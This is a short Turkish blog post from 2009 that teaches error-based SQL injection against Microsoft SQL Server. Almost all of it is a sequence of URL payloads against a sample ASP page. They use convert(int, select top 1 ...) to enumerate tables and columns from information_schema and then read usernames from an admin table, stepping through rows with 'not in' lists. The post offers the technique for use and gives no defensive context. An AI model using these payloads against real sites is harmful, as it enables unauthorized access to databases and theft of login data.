17 Haziran 2009 Çarşamba

MSSQL’de information_Schema Tablo Column alımı

Tablo alalım.

http://www.thenesa.com/nesa.asp?id=1+and+1=
convert(int,(select+top+1+table_name+from+
information_schema.tables))—


Bir tablo alırız. Aldığımız tablo admin olsun

http://www.thenesa.com/nesa.asp?id=1+and+1=
convert(int,(select+top+1+table_name+from+
information_schema.tables

+where+table_name+not+in+(‘admin')))--

Bu şekilde admin’den sonraki tabloyu alırız.ve soraki tablo
nesa olsun.nesa’dan soraki tabloyuda bu şekilde alıyoruz.

http://www.thenesa.com/nesa.asp?id=1+and+1=
convert(int,(select+top+1+table_name+from+
information_schema.tables

+where+table_name+not+in+('admin','nesa')))--

Column Alalım.

http://www.thenesa.com/nesa.asp?id=1+and+1=
convert(int,(select+top+1+column_name+from+
information_schema.columns

+where+table_name='admin'))--

admin tablosunun ilk Column’unu verir. Ilk column id olsun.

http://www.thenesa.com/nesa.asp?id=1+and+1=
convert(int,(select+top+1+column_name+from+
information_schema.columns

+where+table_name='admin'+and+column_name+
not+in+('id')))—


Id’den sonraki column’u aldık. Aldığımız column username olsun.
Soraki column’u alalım.

http://www.thenesa.com/nesa.asp?id=1+and+1=
convert(int,(select+top+1+column_name+from+
information_schema.columns

+where+table_name='admin'+and+column_name
+not+in+('id','username')))--


bu şekilde soraki column’uda alırıs.

Bide burda veri okuyalım.

http://www.thenesa.com/nesa.asp?id=1+and+1=
convert(int,(select+top+1+username+from+admin))--


aldığımız username admin olsun soraki

username için yine not in kullancas


http://www.thenesa.com/nesa.asp?id=1+and+1=
convert(int,(select+top+1+username+from+admin
+where+username+not+in+('admin')))--


fazla uzatmaya gerek yok bu şekilde işte :D

1 yorum: